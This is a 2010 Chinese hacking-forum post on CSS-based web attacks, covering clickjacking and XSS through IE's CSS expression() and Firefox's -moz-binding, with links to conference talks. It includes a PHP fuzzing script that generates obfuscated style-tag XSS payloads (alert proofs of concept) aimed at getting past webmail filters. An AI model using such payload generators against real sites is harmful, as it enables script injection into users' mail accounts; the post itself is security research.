WPE|52wpe|我爱WPE

 找回密码
 注册会员
搜索
  • 2149查看
  • 0回复

主题

好友

2712

积分

禁止访问

发表于 2010-2-3 16:21:31 |显示全部楼层
web2.0安全概念诞生以来,走向是越来越邪恶猥琐,从csrf到今天的 clickjacking.都可以证明这点.clickjacking其实就是CSS Overlays一个猥琐的应用,这样的技巧应该在优秀的web设计者利用的技巧,但是经过安全人员邪恶的思考就诞生了著名的clickjacking.

关于css带来的一些安全问题,国内外都有一定的观注了.详细可以看看 David Lindsay ,Gareth Heyes,Eduardo Vela Nava [sdc]三人在bluehat8上的演讲:
http://www.thespanner.co.uk/wp-content/uploads/2008/10/the_sexy_assassin2ppt.zip

pp里的exp:http://p42.us/css/ 另外sdc和garethheyes的blog上都有一些想关的介绍:

http://sirdarckcat.blogspot.com/2008/10/about-css-attacks.html

http://www.thespanner.co.uk/2008/10/20/bluehat/

想比下老外对css的研究,国内的由于*A的介入,导致css里xss研究更加深入,hotmail yahoo的xss都是围绕着css里的expression来的,这里有个主要的原因是expression对ie6/ie7都有很好的支持,而且在 css里对于ff2我们也可以通过-moz-binding来实现xss. 所以目前 style 标签[css]里的xss仍然是寻找mail xss的主要途径.

如果大家分析过yahoo等暴光的那些poc就会发现 那些代码比较奇怪,我想可能是通过大量的测试和fuzz跑出来的. 于是我也学着简单的写了一个脚本[这个太简单了,所以没找到什么 :(].

<?php
//xss fuzzing
//by www.80vul.com
//some from Gareth Heyes 's codz :) thx
$string="expression";
$strinj="/*google*/";
//$strinj=str_replace('/',stringToHexString('/','dec'),$strinj);
$strinj=str_replace('/*','/'.stringToHexString('*','dec'),$strinj);

//$strinj=stringToHexString("/*}}'*/",'dec');

$arr=array();
for($i=0,$len=strlen($string);$i<$len;$i++)
{
$stringarr[$i]=substr($string, $i,1);
$destring=substr($string, 0, $i) . $strinj . substr($string, $i, strlen($string));
//print $destring."<br>";
array_push($arr,$destring);
}
array_push($arr,implode($strinj, $stringarr));
//print_r($arr);
//print implode($strinj, $stringarr);


foreach ($arr as $i => $value) {
   // print($arr[$i]."<br>");
   //$xss= '<SPAN STYLE="width:'.$arr[$i].'(alert('.$i.'));">Hello'.$i.'</SPAN>';
   //$xss='<div id="yiv277018259"><div style="width:'.$arr[$i].'(alert('.$i.'));"></div>';
   $xss='hihihihihihi<style>div{background-image:'.$arr[$i].'(alert('.$i.'));}</style>';
   
$file=fopen("xsslog.txt","a+");
fputs($file,"$xss\r\n");
fclose($file);

}

function stringToHexString($str,$type){
$tmp='';
//$rand = rand(1,100);
for($i=0,$len=strlen($str);$i<$len;$i++)
{
$ord=Ord($str[$i]);
if($type=='dec'){$tmp.="&#x00".base_convert($ord,10,16).";";}
if($type=='hex'){$tmp.="&#x".base_convert($ord,10,16).";";}
}
return $tmp;
}

?>

最后附上几个css有关的link:
http://nb.io/hacks/csshttprequest/

http://hi.baidu.com/ycosxhack/blog/item/62ad7c082e74f3930b7b8242.html

http://hi.baidu.com/hi_heige/blog/item/aff71d25097f2c35c9955940.html

快速发帖

您需要登录后才可以回帖 登录 | 注册会员

手机版|Archiver|WPE|52wpe|我爱WPE ( 闽ICP备15009081号 )

GMT+8, 2024-5-2 19:39 , Processed in 0.052329 second(s), 16 queries .

返回顶部